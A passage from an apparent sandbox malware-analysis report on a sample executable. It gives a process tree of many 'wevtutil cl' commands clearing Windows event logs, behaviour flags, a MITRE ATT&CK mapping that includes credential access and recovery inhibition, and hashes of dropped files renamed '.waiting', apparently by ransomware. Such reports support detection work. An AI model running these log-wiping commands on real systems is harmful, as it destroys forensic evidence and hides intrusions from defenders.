- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storsvc/Diagnostic"
    3⤵
    PID:3668
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Subsys-Csr/Operational"
    3⤵
    PID:10144
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Subsys-SMSS/Operational"
    3⤵
    PID:8760
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sudo/Admin"
    3⤵
    PID:4708
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Superfetch/Main"
    3⤵
    PID:12084
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Superfetch/PfApLog"
    3⤵
    PID:14664
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Superfetch/StoreLog"
    3⤵
    PID:2916
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sysprep/Analytic"
    3⤵
    PID:10752
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-System-Profile-HardwareId/Diagnostic"
    3⤵
    PID:13668
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SystemSettingsHandlers/Debug"
    3⤵
    PID:20180
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SystemSettingsThreshold/Debug"
    3⤵
    PID:1108
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SystemSettingsThreshold/Diagnostic"
    3⤵
    PID:17156
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SystemSettingsThreshold/Operational"
    3⤵
    PID:17112
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TCPIP/Diagnostic"
    3⤵
    PID:16520
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TCPIP/Operational"
    3⤵
    PID:16324
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TSF-msctf/Debug"
    3⤵
    PID:6988
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TSF-msctf/Diagnostic"
    3⤵
    PID:4268
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TSF-msutb/Debug"
    3⤵
    PID:9768
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TSF-msutb/Diagnostic"
    3⤵
    PID:9152
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TTS/Diagnostic"
    3⤵
    PID:13808
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TWinAPI/Diagnostic"
    3⤵
    PID:21296
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TWinUI/Diagnostic"
    3⤵
    PID:15720
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TWinUI/Operational"
    3⤵
    PID:17648
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TZSync/Analytic"
    3⤵
    PID:18428
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TZSync/Operational"
    3⤵
    PID:19628
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TZUtil/Operational"
    3⤵
    - Clears Windows event logs
    PID:6920
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Debug"
    3⤵
    PID:18360
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Diagnostic"
    3⤵
    PID:804
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Maintenance"
    3⤵
    PID:11896
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Operational"
    3⤵
    PID:14060
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskbarCPL/Diagnostic"
    3⤵
    PID:12496
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TenantRestrictions/Operational"
    3⤵
    PID:9276
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Admin"
    3⤵
    PID:16432
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Analytic"
    3⤵
    PID:13072
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Debug"
    3⤵
    PID:8676
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Operational"
    3⤵
    PID:6132
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Admin"
    3⤵
    PID:11432
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Analytic"
    3⤵
    PID:19120
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Debug"
    3⤵
    PID:14228
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational"
    3⤵
    PID:11412
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-MediaRedirection/Analytic"
    3⤵
    PID:9624
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Admin"
    3⤵
    PID:14272
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Analytic"
    3⤵
    PID:6180
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Debug"
    3⤵
    PID:7340
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Operational"
    3⤵
    PID:15000
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-Printers/Admin"
    3⤵
    PID:9512
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-Printers/Analytic"
    3⤵
    PID:9540
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-Printers/Debug"
    3⤵
    PID:19800
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-Printers/Operational"
    3⤵
    PID:21052
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Analytic"
    3⤵
    PID:5512
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Debug"
    3⤵
    PID:11692
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Operational"
    3⤵
    PID:20976
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RdpSoundDriver/Capture"
    3⤵
    PID:11716
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RdpSoundDriver/Playback"
    3⤵
    PID:15404
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin"
    3⤵
    PID:19472
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Analytic"
    3⤵
    PID:17320
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Debug"
    3⤵
    PID:5968
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
    3⤵
    PID:6020
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Admin"
    3⤵
    PID:17644
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Analytic"
    3⤵
    PID:16364
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Debug"
    3⤵
    PID:4092
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Operational"
    3⤵
    PID:11336
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Tethering-Manager/Analytic"
    3⤵
    PID:15152
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Tethering-Station/Analytic"
    3⤵
    PID:12832
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ThemeCPL/Diagnostic"
    3⤵
    PID:4748
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ThemeUI/Diagnostic"
    3⤵
    PID:14992
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Threat-Intelligence/Analytic"
    3⤵
    PID:16240
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Time-Service-PTP-Provider/PTP-Operational"
    3⤵
    PID:7932
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Time-Service/Operational"
    3⤵
    PID:7164
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Troubleshooting-Recommended/Admin"
    3⤵
    PID:7372
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Troubleshooting-Recommended/Operational"
    3⤵
    PID:18744
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TunnelDriver"
    3⤵
    PID:2436
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UAC-FileVirtualization/Operational"
    3⤵
    PID:10928
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UAC/Operational"
    3⤵
    PID:10980
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIAnimation/Diagnostic"
    3⤵
    PID:12952
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIAutomationCore/Debug"
    3⤵
    PID:7400
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIAutomationCore/Diagnostic"
    3⤵
    PID:1780
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIAutomationCore/Perf"
    3⤵
    PID:916
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIRibbon/Diagnostic"
    3⤵
    PID:4932
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-MAUSBHOST-Analytic"
    3⤵
    PID:7472
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-UCMUCSICX/Operational"
    3⤵
    PID:11628
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-UCX-Analytic"
    3⤵
    PID:5320
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBHUB/Diagnostic"
    3⤵
    PID:20432
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBHUB3-Analytic"
    3⤵
    - Clears Windows event logs
    PID:1388
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBPORT/Diagnostic"
    3⤵
    PID:16104
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBXHCI-Analytic"
    3⤵
    - Clears Windows event logs
    PID:4724
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBXHCI-Operational"
    3⤵
    PID:6600
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBXHCI-Trustlet-Analytic"
    3⤵
    PID:18480
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UniversalTelemetryClient/Operational"
    3⤵
    PID:4172
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Control Panel Performance/Diagnostic"
    3⤵
    PID:7160
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Control Panel Usage/Diagnostic"
    3⤵
    PID:3328
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Control Panel/Diagnostic"
    3⤵
    PID:14380
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Control Panel/Operational"
    3⤵
    PID:14548
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Device Registration/Admin"
    3⤵
    PID:17748
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Device Registration/Debug"
    3⤵
    PID:18036
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Profile Service/Diagnostic"
    3⤵
    PID:15752
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Profile Service/Operational"
    3⤵
    PID:14720
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User-Loader/Analytic"
    3⤵
    PID:19484
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User-Loader/Operational"
    3⤵
    PID:14024
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserAccountControl/Diagnostic"
    3⤵
    PID:15648
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserModePowerService/Diagnostic"
    3⤵
    PID:11584
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/ActionCenter"
    3⤵
    - Clears Windows event logs
    PID:12340
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/DeviceInstall"
    3⤵
    PID:9860
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/DeviceMetadata/Debug"
    3⤵
    PID:12868
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/Performance"
    3⤵
    PID:12328
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/SchedulerOperations"
    3⤵
    PID:12376
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserSettingsBackup-BackupUnitProcessor/Operational"
    3⤵
    PID:10636
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserSettingsBackup-EarlyDownloader/Operational"
    3⤵
    PID:12552
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserSettingsBackup-Orchestrator/Operational"
    3⤵
    - Clears Windows event logs
    PID:11968
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UxInit/Diagnostic"
    3⤵
    PID:17244
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UxTheme/Diagnostic"
    3⤵
    PID:11356
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VDRVROOT/Operational"
    3⤵
    PID:20188
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VHDMP-Analytic"
    3⤵
    - Clears Windows event logs
    PID:2288
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VHDMP-Operational"
    3⤵
    PID:12824
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VIRTDISK-Analytic"
    3⤵
    PID:6516
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VPN-Client/Operational"
    3⤵
    PID:11992
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VPN/Operational"
    3⤵
    PID:5768
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VWiFi/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:9108
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VerifyHardwareSecurity/Admin"
    3⤵
    PID:9000
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VerifyHardwareSecurity/Operational"
    3⤵
    PID:16344
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VolumeControl/Performance"
    3⤵
    PID:13800
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VolumeSnapshot-Driver/Analytic"
    3⤵
    PID:11372
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VolumeSnapshot-Driver/Operational"
    3⤵
    PID:16408
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WABSyncProvider/Analytic"
    3⤵
    PID:22420
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WCN-Config-Registrar/Diagnostic"
    3⤵
    PID:10580
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WCNWiz/Analytic"
    3⤵
    PID:2952
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WDAG-PolicyEvaluator-CSP/Operational"
    3⤵
    PID:21788
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WDAG-PolicyEvaluator-GP/Operational"
    3⤵
    PID:21732
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WEPHOSTSVC/Operational"
    3⤵
    - Clears Windows event logs
    PID:21908
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WER-Diag/Operational"
    3⤵
    PID:22568
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WER-PayloadHealth/Operational"
    3⤵
    PID:12272
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WFP/Analytic"
    3⤵
    PID:17688
- C:\Windows\system32\DllHost.exe
  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
  2⤵
  PID:4316

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
- Drops startup file
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1372
- C:\Users\Admin\AppData\Local\Temp\Red-Flaged\d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
  "C:\Users\Admin\AppData\Local\Temp\Red-Flaged\d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe"
  2⤵
  - Adds Run key to start application
  - Drops file in Windows directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2348

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Windows Credential Manager

T1555.004

Discovery

Browser Information Discovery

T1217

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

desktop.ini

Path C:\$Recycle.Bin\S-1-5-21-3797332335-34111092-3597280141-1000\desktop.ini
Size 1KB
SHA256 06531fb6f3f1544607397dcbdb13e3e89445c1de37eb6cc3277416b45296a3ea
MD5 c9a9fac5db9cfec6f6144945c1ad62e5
SHA1 7fe5b15f64f241fde51da75e7931fec9e680722d
SHA512 f518f5081a93a62953bac9bd9126c86f1e725e3d24e51950e8bb497b0b2c586798204c77e2743cf990b0442ff98834b91ee1fdd3e67180d93b9d51590f969ed3
TLSH
T125313AAAD1E7603D074A65DE4408FCB3ADA70975D33C45040A79509812F2FD8D8EF0B2
MD5 SHA1 SHA512 TLSH

Submit Download

EmbeddedBrowserWebView.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\EBWebView\x64\EmbeddedBrowserWebView.dll WYVSRKUX5.waiting
Size 5.1MB
SHA256 ddddb71c204ff3333539741a5fb732117fc100aad77de4d9f8f0ba8d04c41bf1
MD5 4cf353ed45f8be5de2f4bce595f18452
SHA1 3f0d8a943d29ea949b814f1df2fc99c8860f5445
SHA512 4a251b953a7427d39471b62dd43592454d13db7ed3ab3305cff78e1f2fea0e5207f24c7a2a235838e57e2d0cf36dc965e1bfea68e54b1802da1fc6ce194aae90
SSDEEP 98304:5IZ1LJwpfZVx4nJD+uK5CQ2kLK1DhNJ9O+8T:5IZwpzSndPbQmdN3Oj
TLSH
T15F366A03E58A40A9D098C178CF6B8225EB727C594BF5A2EF225036E52E77BD03F39754
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Edge.dat

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\Edge.dat
Size 13KB
SHA256 51a765aa5ee25bd3ff95f3c4ae85f1a19868e3c27a007021fc0841e7b712d84b
MD5 6f4184822ab18c0cdab519e51cdec22b
SHA1 93f5fea17551edddb8a2534a3e973895e729d003
SHA512 095ce1581f93c6554f465f37b5429ffc3d560e64f8a7a368161eae4f6e0714be5425d7dbf729ab2f60a24c2d3fd6088fb03a0c79749518d2e3d538ca3f39f9fd
SSDEEP 384:79fqHHOPgpmutHAWNzEF5j48gTfu8C0Ikkw:5LPT7Lj4jTmDVw
TLSH
T10052D06A8140A84DDED0015D7F06E407FD72DB01632A5406AE9C9AEAA3F3EDE089FC35
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

af.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\Locales\af.pak WYVSRKUX5.waiting
Size 996KB
SHA256 a232d9aaaa795dfc42b12dcde9e90be90fa0f0a8c707b44cadf1a93dfa61b82f
MD5 9568fc04ca16af0a5a54ccea4d321913
SHA1 c38c4e27c401d19873405c555ed75c747c0ea3af
SHA512 51428e690d086094527be8e667332a87bad84d02d19c785bd6bb003e9e05cbd789582d861be1fff8b4d9eecc02f52a7ced11767b9eac34edd2184115bd66dbd2
SSDEEP 24576:7qfTKVEiysFKsk8HpNJKXmTwLpEsl3icNPP9:mfTVi8x8Ht0mTi3f39
TLSH
T17E25330F25D933F84D999461BA9BB4206B290DAFFE6C874E2507A746E0F639327344D8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ar.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\Locales\ar.pak WYVSRKUX5.waiting
Size 1.5MB
SHA256 e8cb4a33d7cd9f3be1c75feb84eec0a381c429e87bfb86d175d4b00d7236141f
MD5 2039193a1b09ada72ae023c68ec61c85
SHA1 6776d4f282914005cfa2c90fb0cbfef0c19b9fdb
SHA512 e1be0fa463e650e656d48ce73292be5f4489346b2aab4cfab4b645aa4514a25fea00c80c0c9a99ad43f7b0ec18aea464270453f6054d039cfec5cdd2593879ee
SSDEEP 24576:O64eZvaEZTEzQUNCFwYLkMRjMTquFaOmQmtuzsMSq1C27/0rgCn:OLeVaBNG3LpjMT7J6ADLu
TLSH
T173654AF21A2684724B96DE1FC1D2356CE872BE23EB4BFD3134934A1196D7513E28E274
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

az.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\Locales\az.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 e03dee7b30c15d4746dc0d51800ea92d9010794fcc81b61261a56d264ad093de
MD5 d180536a480f4be626f578d64c71917b
SHA1 c9e22883c9351c1561f7b0cc7e4e32c0c58de560
SHA512 801b988463996430cfeeab3ce2ed9c4e3f81863c405eefe328d047b7f8f7e0f24af63efbd9b4141a210d70c3696ea7376544f6bb21e4276d93530d9e461c5c29
SSDEEP 24576:yJImqRDg+MV4CM5U0JG+073l/WjryMEiraHf7AP9vEQwD:yNqtBCM/YNtWjGNoSoFU
TLSH
T198450289794E9C0C0B9C238800529BEAF80E77DF35A266475D85A61933CFF57DFD098A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bg.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\Locales\bg.pak WYVSRKUX5.waiting
Size 1.7MB
SHA256 7f86287d3a07a5da888b210fa546227a6bfb7c8ae35ec3821ed69eb98d39cc02
MD5 9e77592569b3fdafa94216372d2fac51
SHA1 da225b549a0b518b89f73c93a6053e27ef4de4d2
SHA512 85514c30c864e89c052f4030de390c4e07de1c38ca893f2dc9216bf56d01540117b05cb97551ab2e9877fbe022881a7b794af2f312a16e3d24611cb5727f23df
SSDEEP 49152:j/SNbbuB1CGha4+4l66vLo7RXQIQffOOCV:70bbuvCGha74lA9QfWOa
TLSH
T1F985D5A1579A68CF0101F45F98087E093DEB55FE3FE7C79241642CBD39E20B886BA61D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bs.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\Locales\bs.pak WYVSRKUX5.waiting
Size 1.0MB
SHA256 50b79275aa51fa2ecafb86ca41fab41b522c1bedbff1f3c4ad7bf40d26aa8103
MD5 eaaa08123e583feb4e6ae1b53dd0cd6c
SHA1 fec9b0c920137e1df69ca5079af021a5e0281434
SHA512 2acac5d726d10d19c55ef974f1a28c36c186dccb83c76238415679d36f9b0d44aef60971a32c8aefc0810918ebec0570b9d0326d5b9c37c52943450d1d737aa4
SSDEEP 24576:TNpy5mhFLKYZ+SFgATiZCj9tZZU00lSC57F1e:TNQ5oLt+UuCjPZZU0I5J4
TLSH
T187353332B58A4ECA06927382D616E7E016FD0F6F8C20EB7518DB905F839253A75DD36C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cy.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\Locales\cy.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 41edc6cb6c3b1e9565847112679c8240ee393940a0ddf2735d05a9ddc70b5391
MD5 f2f335927ccdc6ed6c57413944eccade
SHA1 fd3a5d853278789e85f1bde1a5ebd290cf146604
SHA512 8f32ed07a743d90f04c27c37f54b661085bb03bbf543fa0ec031855d660f92360a344dac8a32a1bae0afc5ae7a95b5c632fc1a159fccda2700c704ddbcf21ad5
SSDEEP 24576:nDEcbnntl9fpb75KVwIYlVUP1gpTU5/BE7W1jjJRFYzIDvLViOKBB:nD3nnZfV75K4UPnO7W1jf+EiH
TLSH
T1123523834A4E5F53405E6B28E457DE7A2A0BFAB4F8A5E1D40C104A281F317B4DADE7CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

da.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\Locales\da.pak WYVSRKUX5.waiting
Size 993KB
SHA256 6bcc04d15b184e85287982766f301dc889682344085697d151c8c36ee7ebeff2
MD5 6ce7d34ae9a6e0f7a6ca01b6cb11ff63
SHA1 1fd97256ab2aee86aa6ec67c1071eada7c50e91a
SHA512 83daab5f420e19b6ac4b2f2ec18d997946f5901ed30ed3d5fec06ccf802bd5a8ab3ea52a0b720c2fe22546446b1adf94ca5cb3bf73048278a91d36552be5c1d3
SSDEEP 24576:lFzwIvVOCA5qRZNflXb/lSEawsVT+j6j3o4WCejgKOBhSGwRU:jOv5ehXb/X8VK6j44UgKOBzwRU
TLSH
T14825335412A2C9099E826ADF9911EA0033D7D466C3CAAAF54AD3B7DCCFF8709B45CDD0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

es.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\Locales\es.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 53605ed9dbc6afdb2de73a51e469c116061cd137c65580e657957cf0aa5813a2
MD5 00cc3b8aa5048092900cf19f9e7e2c02
SHA1 f9266438740fdf12f3f3ba044482e01d3675f7d7
